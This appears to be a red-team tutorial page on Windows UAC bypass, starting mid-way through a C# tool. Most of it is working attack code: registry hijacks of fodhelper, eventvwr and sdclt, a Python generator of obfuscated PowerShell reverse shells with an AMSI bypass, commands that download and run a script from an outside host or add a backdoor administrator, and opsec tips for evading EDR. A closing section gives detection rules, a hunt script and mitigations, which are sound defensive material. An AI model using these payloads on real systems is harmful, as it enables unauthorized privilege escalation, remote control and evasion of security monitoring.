105 DeleteRegKey(@"Software\Classes\mscfile");
106 }
107 }
108
109 static bool BypassSdclt(string payload) {
110 const string regKey = @"Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe";
111 try {
112 SetRegValue(regKey, "", payload);
113 Thread.Sleep(200);
114 Process.Start(new ProcessStartInfo {
115 FileName = Path.Combine(Environment.GetEnvironmentVariable("WINDIR"),
116 "System32", "sdclt.exe"),
117 Arguments = "/kickoffelev",
118 WindowStyle = ProcessWindowStyle.Hidden,
119 UseShellExecute = false
120 });
121 Thread.Sleep(3000);
122 return true;
123 } finally {
124 DeleteRegKey(@"Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe");
125 }
126 }
127
128 // ── bypass catalogue ──────────────────────────────────────────────────
129 class BypassEntry {
130 public string Name;
131 public string Binary;
132 public string Notes;
133 public Func<string, bool> Execute;
134 public bool NeedsFilesystem; // true = cmd must be a file path
135 }
136
137 static List<BypassEntry> BuildCatalogue(string cmd) => new() {
138 new BypassEntry {
139 Name = "fodhelper",
140 Binary = "fodhelper.exe",
141 Notes = "ms-settings HKCU registry hijack — most reliable",
142 Execute = c => BypassFodhelper(c),
143 NeedsFilesystem = false
144 },
145 new BypassEntry {
146 Name = "eventvwr",
147 Binary = "eventvwr.exe",
148 Notes = "mscfile HKCU registry hijack",
149 Execute = c => BypassEventvwr(c),
150 NeedsFilesystem = false
151 },
152 new BypassEntry {
153 Name = "sdclt",
154 Binary = "sdclt.exe /kickoffelev",
155 Notes = "App Paths control.exe redirect — requires file path payload",
156 Execute = c => BypassSdclt(c),
157 NeedsFilesystem = true
158 },
159 };
160
161 // ── main ──────────────────────────────────────────────────────────────
162 static int Main(string[] args) {
163 // parse args
164 string cmd = "powershell.exe -nop -w hidden -ep bypass";
165 string method = null;
166 bool list = false;
167
168 for (int i = 0; i < args.Length; i++) {
169 if (args[i] == "--cmd" && i+1 < args.Length) cmd = args[++i];
170 if (args[i] == "--method" && i+1 < args.Length) method = args[++i];
171 if (args[i] == "--list") list = true;
172 }
173
174 int integrity = GetIntegrityLevel();
175 Console.WriteLine($"[*] current integrity: 0x{integrity:X}");
176
177 if (integrity >= HIGH_INTEGRITY) {
178 Console.WriteLine("[+] already High integrity — no bypass needed");
179 return 0;
180 }
181 if (integrity < MEDIUM_INTEGRITY) {
182 Console.Error.WriteLine("[-] below Medium integrity — bypass will fail");
183 return 1;
184 }
185
186 var catalogue = BuildCatalogue(cmd);
187
188 if (list) {
189 Console.WriteLine("\n[*] available bypasses:");
190 foreach (var b in catalogue)
191 Console.WriteLine($" {b.Name,-15} {b.Binary,-30} {b.Notes}");
192 return 0;
193 }
194
195 // filter to requested method or try all
196 var targets = method != null
197 ? catalogue.FindAll(b => b.Name.Equals(method, StringComparison.OrdinalIgnoreCase))
198 : catalogue;
199
200 if (targets.Count == 0) {
201 Console.Error.WriteLine($"[-] unknown method: {method}");
202 return 1;
203 }
204
205 Console.WriteLine($"[*] command: {cmd}");
206
207 foreach (var bypass in targets) {
208 Console.WriteLine($"\n[*] trying: {bypass.Name} ({bypass.Binary})");
209 try {
210 bool ok = bypass.Execute(cmd);
211 if (ok) {
212 Console.WriteLine($"[+] {bypass.Name} executed — check your listener");
213 return 0;
214 }
215 } catch (Exception ex) {
216 Console.Error.WriteLine($" [-] {bypass.Name} failed: {ex.Message}");
217 }
218 }
219
220 Console.Error.WriteLine("\n[-] all bypass methods failed");
221 return 1;
222 }
223} 1:: compile
2csc.exe /out:UACBypass.exe UACBypass.cs
3
4:: list available bypasses
5UACBypass.exe --list
6
7:: auto-select bypass, default powershell command
8UACBypass.exe
9
10:: custom command
11UACBypass.exe --cmd "powershell -nop -w hidden -ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.10/shell.ps1')"
12
13:: force specific bypass
14UACBypass.exe --method eventvwr --cmd "cmd /c net user backdoor P@ss123! /add && net localgroup Administrators backdoor /add"Python Payload Generator
Generates ready-to-paste PowerShell bypass commands for each technique, with optional AMSI bypass prepended.
1#!/usr/bin/env python3
2# uac_bypass_gen.py
3# Generates UAC bypass payloads combining a bypass technique
4# with optional AMSI bypass and a reverse shell.
5#
6# Usage:
7# python3 uac_bypass_gen.py --lhost 10.10.10.10 --lport 4444
8# python3 uac_bypass_gen.py --lhost 10.10.10.10 --lport 4444 --technique eventvwr
9# python3 uac_bypass_gen.py --lhost 10.10.10.10 --lport 4444 --amsi --b64
10
11import argparse
12import base64
13import random
14import string
15
16def rand_var(n=8):
17 return '$' + ''.join(random.choices(string.ascii_lowercase, k=n))
18
19def make_revshell(lhost, port):
20 return (
21 f"$c=New-Object Net.Sockets.TCPClient('{lhost}',{port});"
22 f"$s=$c.GetStream();"
23 f"[byte[]]$b=0..65535|%{{0}};"
24 f"while(($i=$s.Read($b,0,$b.Length))-ne 0){{"
25 f"$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);"
26 f"$r=(iex $d 2>&1|Out-String);"
27 f"$rb=[Text.Encoding]::ASCII.GetBytes($r+'PS '+(gl).Path+'> ');"
28 f"$s.Write($rb,0,$rb.Length);$s.Flush()}}"
29 )
30
31def make_amsi_bypass():
32 v1, v2, v3 = rand_var(), rand_var(), rand_var()
33 return (
34 f"{v1}='System.Management.Automation.'+'AmsiUtils';"
35 f"{v2}=[Ref].Assembly.GetType({v1});"
36 f"{v3}={v2}.GetField('amsi'+'Context','NonPublic,Static');"
37 f"{v3}.SetValue($null,[IntPtr]::Zero);"
38 )
39
40def encode_cmd(ps_code):
41 encoded = base64.b64encode(ps_code.encode('utf-16-le')).decode()
42 return f"powershell -nop -w hidden -ep bypass -EncodedCommand {encoded}"
43
44def make_fodhelper(cmd, b64=False):
45 inner = encode_cmd(cmd) if b64 else f"powershell -nop -w hidden -ep bypass -c \"{cmd}\""
46 reg = r"HKCU:\Software\Classes\ms-settings\Shell\Open\command"
47 return (
48 f"$p='{reg}';"
49 f"New-Item $p -Force|Out-Null;"
50 f"Set-ItemProperty $p '(Default)' '{inner}';"
51 f"New-ItemProperty $p 'DelegateExecute' -Value '' -Force|Out-Null;"
52 f"Start-Process $env:WINDIR\\System32\\fodhelper.exe -WindowStyle Hidden;"
53 f"Start-Sleep 3;"
54 f"Remove-Item 'HKCU:\\Software\\Classes\\ms-settings' -Recurse -Force -EA 0"
55 )
56
57def make_eventvwr(cmd, b64=False):
58 inner = encode_cmd(cmd) if b64 else f"powershell -nop -w hidden -ep bypass -c \"{cmd}\""
59 reg = r"HKCU:\Software\Classes\mscfile\shell\open\command"
60 return (
61 f"$p='{reg}';"
62 f"New-Item $p -Force|Out-Null;"
63 f"Set-ItemProperty $p '(Default)' '{inner}';"
64 f"Start-Process $env:WINDIR\\System32\\eventvwr.exe -WindowStyle Hidden;"
65 f"Start-Sleep 3;"
66 f"Remove-Item 'HKCU:\\Software\\Classes\\mscfile' -Recurse -Force -EA 0"
67 )
68
69def make_sdclt(payload_path):
70 reg = r"HKCU:\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe"
71 return (
72 f"$p='{reg}';"
73 f"New-Item $p -Force|Out-Null;"
74 f"Set-ItemProperty $p '(Default)' '{payload_path}';"
75 f"Start-Process $env:WINDIR\\System32\\sdclt.exe -ArgumentList '/kickoffelev' -WindowStyle Hidden;"
76 f"Start-Sleep 3;"
77 f"Remove-Item $p -Force -EA 0"
78 )
79
80TECHNIQUES = {
81 'fodhelper': make_fodhelper,
82 'eventvwr': make_eventvwr,
83}
84
85def main():
86 p = argparse.ArgumentParser(description="UAC bypass payload generator")
87 p.add_argument('--lhost', required=True)
88 p.add_argument('--lport', default=4444, type=int)
89 p.add_argument('--technique', choices=list(TECHNIQUES.keys()) + ['sdclt', 'all'],
90 default='all')
91 p.add_argument('--amsi', action='store_true', help='prepend AMSI bypass')
92 p.add_argument('--b64', action='store_true', help='base64-encode inner command')
93 p.add_argument('--sdclt-path', default=r'C:\Windows\Tasks\payload.exe',
94 help='payload path for sdclt technique')
95 args = p.parse_args()
96
97 shell = make_revshell(args.lhost, args.lport)
98 amsi = make_amsi_bypass() if args.amsi else ''
99 inner_cmd = amsi + shell
100
101 targets = list(TECHNIQUES.keys()) if args.technique == 'all' else [args.technique]
102 if args.technique in ('all', 'sdclt'):
103 targets.append('sdclt')
104
105 for t in targets:
106 print(f"\n{'='*70}")
107 print(f"# technique: {t}")
108 print('='*70)
109
110 if t == 'sdclt':
111 payload = make_sdclt(args.sdclt_path)
112 else:
113 payload = TECHNIQUES[t](inner_cmd, args.b64)
114
115 print(payload)
116
117 # also print as a one-liner wrapped in powershell -c
118 full = f"powershell -nop -w hidden -ep bypass -c \"{payload}\""
119 enc = base64.b64encode(
120 (f"powershell -nop -ep bypass -c \"{payload}\"").encode('utf-16-le')
121 ).decode()
122 print(f"\n# encoded one-liner:")
123 print(f"powershell -nop -w hidden -ep bypass -EncodedCommand {enc}")
124
125if __name__ == '__main__':
126 main()# generate all techniques with AMSI bypass, base64-encoded
python3 uac_bypass_gen.py --lhost 10.10.10.10 --lport 4444 --amsi --b64 --technique all
# fodhelper only
python3 uac_bypass_gen.py --lhost 10.10.10.10 --lport 4444 --technique fodhelper
# sdclt with custom payload path
python3 uac_bypass_gen.py --lhost 10.10.10.10 --lport 4444 --technique sdclt \
--sdclt-path "C:\Windows\Tasks\svcupdate.exe"Full Engagement Workflow
1. Check integrity level
whoami /groups | findstr Mandatory
→ must be "Medium Mandatory Level" to proceed
2. Apply AMSI bypass (see AMSI blog)
→ prevents bypass payload from being blocked before execution
3. Enumerate available bypass paths
.\Find-UACRegistryGaps.ps1
4. Select technique based on target OS / patch level:
Win10 pre-2019: fodhelper or eventvwr (most reliable)
Win10 post-2019: sdclt or SilentCleanup (if patched)
Win11: CMLuaUtil COM or SilentCleanup DLL
5. Generate payload
python3 uac_bypass_gen.py --lhost 10.10.10.10 --lport 4444 --amsi --b64
6. Execute and catch shell
nc -lvnp 4444
7. Verify elevation on new shell
whoami /groups | findstr "High Mandatory"
8. Proceed with post-exploitation from High integrityTechnique Comparison
| technique | target binary | OS coverage | noise | patches needed |
|---|---|---|---|---|
| fodhelper | fodhelper.exe | Win10/11 | medium | ms-settings HKCU |
| eventvwr | eventvwr.exe | Win7-11 | medium | mscfile HKCU |
| sdclt | sdclt.exe | Win10 | medium | App Paths HKCU |
| SilentCleanup | DismHost.exe | Win10/11 | low | PATH + DLL drop |
| ICMLuaUtil COM | cmluautil.dll | Win7-11 | low | none — pure COM |
| IFileOperation | shell32.dll | Win7-11 | low | none — file copy |
OpSec Notes
- Registry artifacts — all HKCU-based bypasses leave keys that EDR and Sysmon will catch on EID 13 (RegistryValueSet). Always clean up immediately after the bypass triggers — the scripts above do this automatically.
- Process ancestry — High-integrity shells spawned from fodhelper or eventvwr will have those binaries as parent processes.
fodhelper.exe → powershell.exeis a well-known detection pattern. Prefer spawning a sacrificial process and injecting rather than running your C2 directly as a child. - CMLuaUtil is the quietest option: no HKCU registry writes, no suspicious process parents. The COM invocation can still be caught by ETW.
- SilentCleanup runs on a schedule. You can pre-plant the DLL and wait for the next scheduled run rather than triggering it yourself, which avoids the suspicious
Start-ScheduledTaskcall. - Windows 11 22H2+ has patched fodhelper and eventvwr. Always verify the OS build before selecting a technique.
Detection (Blue Team)
| signal | event |
|---|---|
HKCU ms-settings\Shell\Open\command created | Sysmon EID 13 — RegistryValueSet |
HKCU mscfile\shell\open\command created | Sysmon EID 13 — RegistryValueSet |
fodhelper.exe spawning shells | Sysmon EID 1 — ParentImage |
eventvwr.exe spawning shells | Sysmon EID 1 — ParentImage |
sdclt.exe /kickoffelev in command line | Sysmon EID 1 — CommandLine |
| High-integrity process with suspicious parent | Sysmon EID 1 — IntegrityLevel + ParentImage |
SilentCleanup task triggered manually | Windows Task Scheduler EID 200 |
| Unsigned DLL loaded by DismHost.exe | Sysmon EID 7 — ImageLoad |
Sysmon detection rules:
1<!-- UAC bypass registry key creation -->
2<RegistryEvent onmatch="include">
3 <TargetObject condition="contains">ms-settings\Shell\Open\command</TargetObject>
4 <TargetObject condition="contains">mscfile\shell\open\command</TargetObject>
5 <TargetObject condition="contains">App Paths\control.exe</TargetObject>
6</RegistryEvent>
7
8<!-- Auto-elevated binaries spawning children -->
9<ProcessCreate onmatch="include">
10 <ParentImage condition="is">C:\Windows\System32\fodhelper.exe</ParentImage>
11 <ParentImage condition="is">C:\Windows\System32\eventvwr.exe</ParentImage>
12 <ParentImage condition="is">C:\Windows\System32\sdclt.exe</ParentImage>
13</ProcessCreate>PowerShell hunt query — find UAC bypass registry artifacts:
1# Hunt-UACBypassKeys.ps1
2$suspiciousKeys = @(
3 "HKCU:\Software\Classes\ms-settings",
4 "HKCU:\Software\Classes\mscfile",
5 "HKCU:\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe"
6)
7
8foreach ($key in $suspiciousKeys) {
9 if (Test-Path $key) {
10 Write-Host "[!] SUSPICIOUS KEY FOUND: $key" -ForegroundColor Red
11 Get-ItemProperty $key -ErrorAction SilentlyContinue |
12 Format-List | Out-Host
13 }
14}
15
16# also query Sysmon EID 13 for recent registry writes to these paths
17Get-WinEvent -FilterHashtable @{
18 LogName = "Microsoft-Windows-Sysmon/Operational"; Id = 13
19} -MaxEvents 500 -ErrorAction SilentlyContinue |
20Where-Object { $_.Message -match "ms-settings|mscfile|App Paths\\control" } |
21Select-Object TimeCreated, Message | Format-ListMitigation:
# Set UAC to "Always notify" — makes auto-elevation require explicit prompt
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" `
-Name "ConsentPromptBehaviorAdmin" -Value 2 -Type DWord
# Disable auto-elevation entirely (breaks some legitimate apps)
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" `
-Name "EnableLUA" -Value 1 -Type DWordMITRE ATT&CK
| technique | ID | description |
|---|---|---|
| Bypass User Account Control | T1548.002 | All registry hijack techniques |
| Abuse Elevation Control Mechanism | T1548 | Parent technique |
| Hijack Execution Flow | T1574 | SilentCleanup DLL hijack |
| Modify Registry | T1112 | HKCU key manipulation |
| Defense Evasion | TA0005 | Primary tactic |
| Privilege Escalation | TA0004 | Primary tactic |
References
- MITRE ATT&CK T1548.002 — Bypass UAC
- hfiref0x — UACME project (comprehensive bypass catalogue)
- Matt Nelson (@enigma0x3) — fodhelper and eventvwr research
- PayloadsAllTheThings — UAC Bypass
- LOLBAS Project
- Oddvar Moe — sdclt research
- James Forshaw — Windows security internals and UAC analysis
- api0cradle — UltimateAppLockerByPassList